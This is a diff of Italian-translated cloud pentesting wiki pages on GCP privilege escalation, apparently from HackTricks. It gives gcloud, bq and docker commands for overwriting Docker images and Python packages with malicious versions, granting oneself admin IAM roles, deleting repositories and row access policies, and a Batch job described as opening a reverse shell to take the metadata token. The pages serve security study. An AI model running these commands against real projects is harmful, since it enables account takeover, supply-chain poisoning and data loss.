||||
> **È possibile indicare il Service Account da usare** ma, per impostazione predefinita, viene usato il Service Account predefinito di App Engine.
|
||||
|
||||
L'URL dell'applicazione è qualcosa come `https://<proj-name>.oa.r.appspot.com/` o `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
L'URL dell'applicazione è del tipo `https://<proj-name>.oa.r.appspot.com/` o `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
|
||||
### Aggiorna i permessi equivalenti
|
||||
### Aggiorna permessi equivalenti
|
||||
|
||||
Potresti avere abbastanza permessi per aggiornare un AppEngine ma non per crearne uno nuovo. In tal caso, ecco come potresti aggiornare l'attuale App Engine:
|
||||
Potresti avere permessi sufficienti per aggiornare un AppEngine ma non per crearne uno nuovo. In tal caso ecco come potresti aggiornare l'App Engine corrente:
|
||||
|
||||
<details>
|
||||
<summary>Aggiorna l'applicazione App Engine esistente</summary>
|
||||
```bash
|
||||
# Find the code of the App Engine in the buckets
|
||||
gsutil ls
|
||||
@@ -62,41 +70,58 @@ gcloud app deploy
|
||||
# Update the SA if you need it (and if you have actas permissions)
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
Se hai **già compromesso un AppEngine** e hai il permesso **`appengine.applications.update`** e **actAs** sul conto di servizio che stai utilizzando, puoi modificare il conto di servizio utilizzato da AppEngine con:
|
||||
</details>
|
||||
|
||||
Se hai **già compromesso un AppEngine** e hai il permesso **`appengine.applications.update`** e **actAs** sul service account da usare, potresti modificare il service account usato da AppEngine con:
|
||||
|
||||
<details>
|
||||
<summary>Aggiorna service account di App Engine</summary>
|
||||
```bash
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
|
||||
|
||||
Con questi permessi, è possibile **accedere via ssh alle istanze di App Engine** di tipo **flessibile** (non standard). Alcuni dei permessi **`list`** e **`get`** **potrebbero non essere realmente necessari**.
|
||||
Con queste autorizzazioni è possibile accedere via ssh alle istanze di App Engine di tipo **flexible** (non **standard**). Alcune delle autorizzazioni **`list`** e **`get`** **potrebbero non essere realmente necessarie**.
|
||||
|
||||
<details>
|
||||
<summary>SSH in un'istanza di App Engine</summary>
|
||||
```bash
|
||||
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.applications.update`, `appengine.operations.get`
|
||||
|
||||
Penso che questo cambi solo il SA di background che Google utilizzerà per configurare le applicazioni, quindi non credo che tu possa abusare di questo per rubare l'account di servizio.
|
||||
Penso che questo cambi solo il service account di background che Google userà per configurare le applicazioni, quindi non credo si possa abusarne per rubare il service account.
|
||||
|
||||
<details>
|
||||
<summary>Aggiorna il service account dell'applicazione</summary>
|
||||
```bash
|
||||
gcloud app update --service-account=<sa_email>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.versions.getFileContents`, `appengine.versions.update`
|
||||
|
||||
Non sono sicuro di come utilizzare queste autorizzazioni o se siano utili (nota che quando cambi il codice viene creata una nuova versione, quindi non so se puoi semplicemente aggiornare il codice o il ruolo IAM di uno, ma suppongo che dovresti essere in grado di farlo, forse cambiando il codice all'interno del bucket??).
|
||||
Non sono sicuro di come usare queste permission o se siano utili (nota che quando cambi il codice viene creata una nuova versione quindi non so se puoi semplicemente aggiornare il codice o il ruolo IAM di una versione esistente, ma immagino che dovrebbe essere possibile, magari cambiando il codice dentro il bucket??).
|
||||
|
||||
### Accesso in scrittura sui bucket
|
||||
|
||||
Come menzionato, le versioni di appengine generano alcuni dati all'interno di un bucket con il formato nome: `staging.<project-id>.appspot.com`. Nota che non è possibile prendere in anticipo il controllo di questo bucket perché gli utenti GCP non sono autorizzati a generare bucket utilizzando il nome di dominio `appspot.com`.
|
||||
Come menzionato le appengine versions generano alcuni dati dentro un bucket con il nome nel formato: `staging.<project-id>.appspot.com`. Nota che non è possibile effettuare un pre-takeover di questo bucket perché gli utenti GCP non sono autorizzati a creare bucket usando il dominio `appspot.com`.
|
||||
|
||||
Tuttavia, con accesso in lettura e scrittura su questo bucket, è possibile elevare i privilegi all'SA associato alla versione di AppEngine monitorando il bucket e ogni volta che viene eseguita una modifica, modificare il codice il più velocemente possibile. In questo modo, il container che viene creato da questo codice **eseguirà il codice compromesso**.
|
||||
Tuttavia, con accesso in lettura e scrittura su questo bucket, è possibile escalare i privilegi all'SA associato alla versione AppEngine monitorando il bucket e ogni volta che viene effettuata una modifica, modificare il codice il più rapidamente possibile. In questo modo il container che viene creato da questo codice **eseguirà il backdoored code**.
|
||||
|
||||
Per ulteriori informazioni e un **PoC controlla le informazioni rilevanti da questa pagina**:
|
||||
Per maggiori informazioni e una **PoC consulta le informazioni rilevanti da questa pagina**:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Accesso in scrittura sull'Artifact Registry
|
||||
### Accesso in scrittura su Artifact Registry
|
||||
|
||||
Anche se App Engine crea immagini docker all'interno dell'Artifact Registry. È stato testato che **anche se modifichi l'immagine all'interno di questo servizio** e rimuovi l'istanza di App Engine (quindi ne viene distribuita una nuova) il **codice eseguito non cambia**.\
|
||||
Potrebbe essere possibile che eseguendo un **attacco di Race Condition come con i bucket potrebbe essere possibile sovrascrivere il codice eseguito**, ma questo non è stato testato.
|
||||
Anche se App Engine crea immagini Docker dentro Artifact Registry, è stato testato che **anche se modifichi l'immagine all'interno di questo servizio** e rimuovi l'istanza di App Engine (quindi ne viene deployata una nuova) il **codice eseguito non cambia**.\
|
||||
Potrebbe essere possibile che effettuando un **Race Condition attack come con i bucket sia possibile sovrascrivere il codice eseguito**, ma questo non è stato testato.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+86
-28
@@ -1,10 +1,10 @@
|
||||
# GCP - Privilegi di Escalation nell'Artifact Registry
|
||||
# GCP - Artifact Registry Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Artifact Registry
|
||||
|
||||
Per ulteriori informazioni su Artifact Registry consulta:
|
||||
Per maggiori informazioni su Artifact Registry consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
@@ -12,7 +12,10 @@ Per ulteriori informazioni su Artifact Registry consulta:
|
||||
|
||||
### artifactregistry.repositories.uploadArtifacts
|
||||
|
||||
Con questo permesso un attaccante potrebbe caricare nuove versioni degli artefatti con codice malevolo come immagini Docker:
|
||||
Con questo permesso un attacker potrebbe caricare nuove versioni degli artifact con codice malevolo, ad esempio immagini Docker:
|
||||
|
||||
<details>
|
||||
<summary>Caricare un'immagine Docker in Artifact Registry</summary>
|
||||
```bash
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -23,20 +26,25 @@ docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<r
|
||||
# Upload it
|
||||
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> È stato verificato che è **possibile caricare una nuova immagine docker** malevola con lo stesso nome e tag di quella già presente, quindi il **vecchio perderà il tag** e la prossima volta che quell'immagine con quel tag verrà **scaricata, quella malevola** verrà scaricata.
|
||||
> È stato verificato che è **possibile caricare una nuova immagine docker dannosa** con lo stesso nome e tag di quella già presente, quindi la **vecchia perderà il tag** e la prossima volta che quell'immagine con quel tag **verrà scaricata la dannosa**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Carica una libreria Python</summary>
|
||||
<summary>Caricare una libreria Python</summary>
|
||||
|
||||
**Inizia creando la libreria da caricare** (se puoi scaricare l'ultima versione dal registro, puoi evitare questo passaggio):
|
||||
**Inizia creando la libreria da caricare** (se puoi scaricare l'ultima versione dal registry puoi evitare questo passaggio):
|
||||
|
||||
1. **Imposta la struttura del tuo progetto**:
|
||||
1. **Configura la struttura del progetto**:
|
||||
|
||||
- Crea una nuova directory per la tua libreria, ad esempio, `hello_world_library`.
|
||||
- All'interno di questa directory, crea un'altra directory con il nome del tuo pacchetto, ad esempio, `hello_world`.
|
||||
- All'interno della directory del tuo pacchetto, crea un file `__init__.py`. Questo file può essere vuoto o può contenere inizializzazioni per il tuo pacchetto.
|
||||
- Crea una nuova directory per la tua libreria, es., `hello_world_library`.
|
||||
- All'interno di questa directory, crea un'altra directory con il nome del tuo pacchetto, es., `hello_world`.
|
||||
- All'interno della directory del pacchetto, crea un file `__init__.py`. Questo file può essere vuoto o contenere inizializzazioni per il tuo pacchetto.
|
||||
|
||||
<details>
|
||||
<summary>Create project structure</summary>
|
||||
|
||||
```bash
|
||||
mkdir hello_world_library
|
||||
@@ -45,21 +53,31 @@ mkdir hello_world
|
||||
touch hello_world/__init__.py
|
||||
```
|
||||
|
||||
2. **Scrivi il codice della tua libreria**:
|
||||
</details>
|
||||
|
||||
- All'interno della directory `hello_world`, crea un nuovo file Python per il tuo modulo, ad esempio, `greet.py`.
|
||||
2. **Scrivi il codice della libreria**:
|
||||
|
||||
- All'interno della directory `hello_world`, crea un nuovo file Python per il modulo, es., `greet.py`.
|
||||
- Scrivi la tua funzione "Hello, World!":
|
||||
|
||||
<details>
|
||||
<summary>Create library module</summary>
|
||||
|
||||
```python
|
||||
# hello_world/greet.py
|
||||
def say_hello():
|
||||
return "Hello, World!"
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
3. **Crea un file `setup.py`**:
|
||||
|
||||
- Nella radice della tua directory `hello_world_library`, crea un file `setup.py`.
|
||||
- Questo file contiene metadati sulla tua libreria e dice a Python come installarla.
|
||||
- Alla radice della directory `hello_world_library`, crea un file `setup.py`.
|
||||
- Questo file contiene i metadati sulla tua libreria e indica a Python come installarla.
|
||||
|
||||
<details>
|
||||
<summary>Create setup.py file</summary>
|
||||
|
||||
```python
|
||||
# setup.py
|
||||
@@ -70,47 +88,70 @@ name='hello_world',
|
||||
version='0.1',
|
||||
packages=find_packages(),
|
||||
install_requires=[
|
||||
# Qualsiasi dipendenza di cui la tua libreria ha bisogno
|
||||
# Any dependencies your library needs
|
||||
],
|
||||
)
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
**Ora, carichiamo la libreria:**
|
||||
|
||||
1. **Costruisci il tuo pacchetto**:
|
||||
|
||||
- Dalla radice della tua directory `hello_world_library`, esegui:
|
||||
- Dalla radice della directory `hello_world_library`, esegui:
|
||||
|
||||
<details>
|
||||
<summary>Build Python package</summary>
|
||||
|
||||
```sh
|
||||
python3 setup.py sdist bdist_wheel
|
||||
```
|
||||
|
||||
2. **Configura l'autenticazione per twine** (utilizzato per caricare il tuo pacchetto):
|
||||
</details>
|
||||
|
||||
2. **Configura l'autenticazione per twine** (usato per caricare il tuo pacchetto):
|
||||
- Assicurati di avere `twine` installato (`pip install twine`).
|
||||
- Usa `gcloud` per configurare le credenziali:
|
||||
````
|
||||
|
||||
<details>
|
||||
<summary>Carica il pacchetto con twine</summary>
|
||||
```sh
|
||||
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
|
||||
```
|
||||
````
|
||||
3. **Pulisci la build**
|
||||
</details>
|
||||
|
||||
3. **Pulire la build**
|
||||
|
||||
<details>
|
||||
<summary>Pulire gli artefatti della build</summary>
|
||||
```bash
|
||||
rm -rf dist build hello_world.egg-info
|
||||
```
|
||||
</details>
|
||||
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Non è possibile caricare una libreria python con la stessa versione di quella già presente, ma è possibile caricare **versioni superiori** (o aggiungere un ulteriore **`.0` alla fine** della versione se funziona - non in python però), o **eliminare l'ultima versione e caricarne una nuova con** (necessaria `artifactregistry.versions.delete)`**:**
|
||||
> Non è possibile caricare una libreria python con la stessa versione già presente, ma è possibile caricare **versioni maggiori** (o aggiungere un extra **`.0` alla fine** della versione se funziona - non in python però -), oppure **eliminare l'ultima versione e caricarne una nuova** (necessario `artifactregistry.versions.delete`):
|
||||
>
|
||||
> <details>
|
||||
> <summary>Elimina versione dell'artifact</summary>
|
||||
>
|
||||
> ```sh
|
||||
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
|
||||
> ```
|
||||
>
|
||||
> </details>
|
||||
|
||||
### `artifactregistry.repositories.downloadArtifacts`
|
||||
|
||||
Con questo permesso puoi **scaricare artefatti** e cercare **informazioni sensibili** e **vulnerabilità**.
|
||||
Con questo permesso puoi **scaricare artifact** e cercare **informazioni sensibili** e **vulnerabilità**.
|
||||
|
||||
Scarica un'immagine **Docker**:
|
||||
|
||||
<details>
|
||||
<summary>Scarica un'immagine Docker da Artifact Registry</summary>
|
||||
```sh
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -118,11 +159,18 @@ gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
# Dowload image
|
||||
docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
Scarica una libreria **python**:
|
||||
|
||||
<details>
|
||||
<summary>Scarica libreria Python da Artifact Registry</summary>
|
||||
```bash
|
||||
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
|
||||
```
|
||||
- Cosa succede se un registro remoto e uno standard vengono mescolati in uno virtuale e un pacchetto esiste in entrambi? Controlla questa pagina:
|
||||
</details>
|
||||
|
||||
- Cosa succede se un registro remoto e uno standard vengono mescolati in un registro virtuale e un pacchetto esiste in entrambi? Controlla questa pagina:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-artifact-registry-persistence.md
|
||||
@@ -131,29 +179,39 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
|
||||
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
|
||||
|
||||
Elimina artefatti dal registro, come immagini docker:
|
||||
|
||||
<details>
|
||||
<summary>Elimina immagine Docker da Artifact Registry</summary>
|
||||
```bash
|
||||
# Delete a docker image
|
||||
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `artifactregistry.repositories.delete`
|
||||
|
||||
Elimina un repository completo (anche se ha contenuto):
|
||||
Elimina un repository completo (anche se contiene elementi):
|
||||
|
||||
<details>
|
||||
<summary>Elimina il repository di Artifact Registry</summary>
|
||||
```
|
||||
gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `artifactregistry.repositories.setIamPolicy`
|
||||
|
||||
Un attaccante con questo permesso potrebbe concedersi i permessi per eseguire alcuni degli attacchi ai repository menzionati in precedenza.
|
||||
Un attacker con questa permission potrebbe concedersi i permessi per eseguire alcuni degli attacchi ai repository menzionati in precedenza.
|
||||
|
||||
### Pivoting to other Services through Artifact Registry Read & Write
|
||||
|
||||
- **Cloud Functions**
|
||||
|
||||
Quando viene creata una Cloud Function, una nuova immagine docker viene inviata all'Artifact Registry del progetto. Ho provato a modificare l'immagine con una nuova e persino a eliminare l'immagine attuale (e l'immagine `cache`), ma nulla è cambiato, la cloud function continua a funzionare. Pertanto, potrebbe **essere possibile abusare di un attacco di Race Condition** come con il bucket per cambiare il contenitore docker che verrà eseguito, ma **modificare semplicemente l'immagine memorizzata non è possibile compromettere la Cloud Function**.
|
||||
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. Ho provato a modificare l'image con una nuova, e perfino a cancellare l'image corrente (e l'`cache` image) ma nulla è cambiato: la Cloud Function ha continuato a funzionare. Pertanto, potrebbe **essere possibile abusare di un Race Condition attack** come con il bucket per cambiare il container docker che verrà eseguito, ma **semplicemente modificare l'immagine memorizzata non è sufficiente per compromettere la Cloud Function**.
|
||||
|
||||
- **App Engine**
|
||||
|
||||
Anche se App Engine crea immagini docker all'interno dell'Artifact Registry. È stato testato che **anche se modifichi l'immagine all'interno di questo servizio** e rimuovi l'istanza di App Engine (quindi ne viene distribuita una nuova), il **codice eseguito non cambia**.\
|
||||
Potrebbe essere possibile che eseguendo un **attacco di Race Condition come con i bucket potrebbe essere possibile sovrascrivere il codice eseguito**, ma questo non è stato testato.
|
||||
Even though App Engine creates docker images inside Artifact Registry. È stato testato che **anche se modifichi l'image dentro questo servizio** e rimuovi l'istanza di App Engine (così ne viene deployata una nuova) il **codice eseguito non cambia**.\
|
||||
Potrebbe essere possibile che eseguendo un **Race Condition attack come con i buckets sia possibile sovrascrivere il codice eseguito**, ma questo non è stato testato.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,10 @@ Informazioni di base:
|
||||
|
||||
### `batch.jobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
È possibile creare un lavoro batch, ottenere una reverse shell ed esfiltrare il token di metadata del SA (compute SA per impostazione predefinita).
|
||||
È possibile creare un Batch job, ottenere una reverse shell e exfiltrate il metadata token della SA (compute SA by default).
|
||||
|
||||
<details>
|
||||
<summary>Crea Batch job con reverse shell</summary>
|
||||
```bash
|
||||
gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
|
||||
{
|
||||
@@ -53,4 +56,6 @@ gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
|
||||
}
|
||||
EOD
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+59
-14
@@ -4,29 +4,42 @@
|
||||
|
||||
## BigQuery
|
||||
|
||||
Per ulteriori informazioni su BigQuery controlla:
|
||||
Per maggiori informazioni su BigQuery consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigquery-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Leggi Tabella
|
||||
### Lettura della tabella
|
||||
|
||||
Leggendo le informazioni memorizzate all'interno di una tabella BigQuery potrebbe essere possibile trovare informazioni **sensibili**. Per accedere alle informazioni, i permessi necessari sono **`bigquery.tables.get`**, **`bigquery.jobs.create`** e **`bigquery.tables.getData`**:
|
||||
Leggere le informazioni memorizzate all'interno di una tabella BigQuery potrebbe rivelare informazioni **sensibili**. Per accedere ai dati sono necessarie le autorizzazioni **`bigquery.tables.get`**, **`bigquery.jobs.create`** e **`bigquery.tables.getData`**:
|
||||
|
||||
<details>
|
||||
<summary>Lettura dei dati della tabella BigQuery</summary>
|
||||
```bash
|
||||
bq head <dataset>.<table>
|
||||
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
|
||||
```
|
||||
### Esporta dati
|
||||
</details>
|
||||
|
||||
Questo è un altro modo per accedere ai dati. **Esportalo in un bucket di cloud storage** e **scarica i file** con le informazioni.\
|
||||
Per eseguire questa azione sono necessari i seguenti permessi: **`bigquery.tables.export`**, **`bigquery.jobs.create`** e **`storage.objects.create`**.
|
||||
### Esportare dati
|
||||
|
||||
Questo è un altro modo per accedere ai dati. **Esportali in un cloud storage bucket** e **scarica i file** con le informazioni.\
|
||||
Per eseguire questa operazione sono necessarie le seguenti autorizzazioni: **`bigquery.tables.export`**, **`bigquery.jobs.create`** e **`storage.objects.create`.**
|
||||
|
||||
<details>
|
||||
<summary>Esporta la tabella BigQuery in Cloud Storage</summary>
|
||||
```bash
|
||||
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
|
||||
```
|
||||
</details>
|
||||
|
||||
### Inserire dati
|
||||
|
||||
Potrebbe essere possibile **introdurre determinati dati fidati** in una tabella Bigquery per sfruttare una **vulnerabilità in un altro luogo.** Questo può essere facilmente fatto con i permessi **`bigquery.tables.get`**, **`bigquery.tables.updateData`** e **`bigquery.jobs.create`**:
|
||||
Potrebbe essere possibile **inserire alcuni dati attendibili** in una tabella Bigquery per sfruttare una **vulnerabilità in qualche altro punto.** Questo può essere fatto facilmente con le autorizzazioni **`bigquery.tables.get`** , **`bigquery.tables.updateData`** e **`bigquery.jobs.create`**:
|
||||
|
||||
<details>
|
||||
<summary>Inserire dati in una tabella BigQuery</summary>
|
||||
```bash
|
||||
# Via query
|
||||
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
|
||||
@@ -34,9 +47,14 @@ bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank,
|
||||
# Via insert param
|
||||
bq insert dataset.table /tmp/mydata.json
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.datasets.setIamPolicy`
|
||||
|
||||
Un attaccante potrebbe abusare di questo privilegio per **darsi ulteriori permessi** su un dataset di BigQuery:
|
||||
Un attacker potrebbe abusare di questo privilege per **assegnarsi ulteriori permissions** su un dataset BigQuery:
|
||||
|
||||
<details>
|
||||
<summary>Imposta la policy IAM su un dataset BigQuery</summary>
|
||||
```bash
|
||||
# For this you also need bigquery.tables.getIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
@@ -46,9 +64,14 @@ bq add-iam-policy-binding \
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.datasets.update`, (`bigquery.datasets.get`)
|
||||
|
||||
Solo questo permesso consente di **aggiornare il tuo accesso a un dataset BigQuery modificando le ACL** che indicano chi può accedervi:
|
||||
Questa singola permission permette di **aggiornare il tuo accesso a un dataset BigQuery modificando gli ACL che indicano chi può accedervi**:
|
||||
|
||||
<details>
|
||||
<summary>Aggiorna gli ACL del dataset BigQuery</summary>
|
||||
```bash
|
||||
# Download current permissions, reqires bigquery.datasets.get
|
||||
bq show --format=prettyjson <proj>:<dataset> > acl.json
|
||||
@@ -57,9 +80,14 @@ bq update --source acl.json <proj>:<dataset>
|
||||
## Read it with
|
||||
bq head $PROJECT_ID:<dataset>.<table>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.tables.setIamPolicy`
|
||||
|
||||
Un attaccante potrebbe abusare di questo privilegio per **darsi ulteriori permessi** su una tabella BigQuery:
|
||||
Un attacker potrebbe abusare di questo privilegio per **assegnarsi ulteriori permissions** su una tabella BigQuery:
|
||||
|
||||
<details>
|
||||
<summary>Set IAM policy on BigQuery table</summary>
|
||||
```bash
|
||||
# For this you also need bigquery.tables.setIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
@@ -69,14 +97,24 @@ bq add-iam-policy-binding \
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
|
||||
|
||||
Secondo la documentazione, con i permessi menzionati è possibile **aggiornare una policy di riga.**\
|
||||
Tuttavia, **utilizzando il cli `bq`** hai bisogno di qualcos'altro: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
|
||||
Secondo la documentazione, con le autorizzazioni indicate è possibile **aggiornare una policy di accesso per riga.**\
|
||||
Tuttavia, **usando la CLI `bq`** servono alcune autorizzazioni in più: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
|
||||
|
||||
<details>
|
||||
<summary>Crea o sostituisci la policy di accesso per riga</summary>
|
||||
```bash
|
||||
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
|
||||
```
|
||||
È possibile trovare l'ID del filtro nell'output dell'enumerazione delle politiche di riga. Esempio:
|
||||
</details>
|
||||
|
||||
È possibile trovare l'ID del filtro nell'output dell'enumerazione delle row policies. Esempio:
|
||||
|
||||
<details>
|
||||
<summary>List row access policies</summary>
|
||||
```bash
|
||||
bq ls --row_access_policies <proj>:<dataset>.<table>
|
||||
|
||||
@@ -84,7 +122,12 @@ Id Filter Predicate Grantees Creation Time Las
|
||||
------------- ------------------ ----------------------------- ----------------- --------------------
|
||||
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
|
||||
```
|
||||
</details>
|
||||
|
||||
Se hai **`bigquery.rowAccessPolicies.delete`** invece di `bigquery.rowAccessPolicies.update`, puoi anche semplicemente eliminare la policy:
|
||||
|
||||
<details>
|
||||
<summary>Elimina row access policies</summary>
|
||||
```bash
|
||||
# Remove one
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
@@ -92,7 +135,9 @@ bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<
|
||||
# Remove all (if it's the last row policy you need to use this
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Un'altra opzione potenziale per bypassare le politiche di accesso alle righe sarebbe semplicemente cambiare il valore dei dati riservati. Se puoi vedere solo quando `term` è `Cfba`, modifica semplicemente tutti i record della tabella affinché abbiano `term = "Cfba"`. Tuttavia, questo è impedito da bigquery.
|
||||
> Un'altra potenziale opzione per bypassare le row access policies sarebbe semplicemente cambiare il valore dei dati riservati. Se puoi vedere solo quando `term` è `Cfba`, modifica tutti i record della tabella in modo che abbiano `term = "Cfba"`. Tuttavia questo è impedito da bigquery.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+35
-15
@@ -12,40 +12,50 @@ Per maggiori informazioni su Bigtable consulta:
|
||||
|
||||
### `bigtable.instances.setIamPolicy`
|
||||
|
||||
**Permessi:** `bigtable.instances.setIamPolicy` (e solitamente `bigtable.instances.getIamPolicy` per leggere i binding correnti).
|
||||
**Permessi:** `bigtable.instances.setIamPolicy` (e di solito `bigtable.instances.getIamPolicy` per leggere gli bindings correnti).
|
||||
|
||||
Possedere la IAM policy dell'istanza ti permette di concederti **`roles/bigtable.admin`** (o qualsiasi ruolo personalizzato) che si propaga a ogni cluster, tutte le tabelle, i backup e le viste autorizzate presenti nell'istanza.
|
||||
Possedere la policy IAM dell'istanza ti permette di assegnarti **`roles/bigtable.admin`** (o qualsiasi ruolo custom) che si propaga a ogni cluster, tabella, backup e vista autorizzata nell'istanza.
|
||||
|
||||
<details><summary>Assegnati il ruolo bigtable.admin sull'istanza</summary>
|
||||
```bash
|
||||
gcloud bigtable instances add-iam-policy-binding <instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
> [!TIP]
|
||||
> Se non puoi elencare i binding esistenti, crea un nuovo documento di policy e applicalo con `gcloud bigtable instances set-iam-policy`, a condizione che tu rimanga incluso nella policy.
|
||||
</details>
|
||||
|
||||
Dopo aver ottenuto questo permesso controlla nella [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) le tecniche per altri modi di abusare dei permessi di Bigtable.
|
||||
> [!TIP]
|
||||
> Se non puoi elencare i binding esistenti, crea un nuovo documento di policy e applicalo con `gcloud bigtable instances set-iam-policy`, purché tu rimanga incluso nella policy.
|
||||
|
||||
Dopo aver ottenuto questa autorizzazione consulta la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) per ulteriori modi di abusare delle autorizzazioni di Bigtable.
|
||||
|
||||
### `bigtable.tables.setIamPolicy`
|
||||
|
||||
**Permessi:** `bigtable.tables.setIamPolicy` (facoltativamente `bigtable.tables.getIamPolicy`).
|
||||
**Permessi:** `bigtable.tables.setIamPolicy` (opzionalmente `bigtable.tables.getIamPolicy`).
|
||||
|
||||
Le policy dell'istanza possono essere rese restrittive mentre singole tabelle vengono delegate. Se puoi modificare l'IAM della tabella puoi **promuoverti a proprietario del dataset target** senza toccare altri carichi di lavoro.
|
||||
Le policy dell'istanza possono essere bloccate mentre le singole tabelle vengono delegate. Se puoi modificare l'IAM della tabella puoi **promuoverti a proprietario del dataset target** senza toccare altri carichi di lavoro.
|
||||
|
||||
<details><summary>Concediti il ruolo bigtable.admin sulla tabella</summary>
|
||||
```bash
|
||||
gcloud bigtable tables add-iam-policy-binding <table-id> \
|
||||
--instance=<instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
Dopo aver verificato questo permesso consulta la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) per altre tecniche su come abusare dei permessi di Bigtable.
|
||||
</details>
|
||||
|
||||
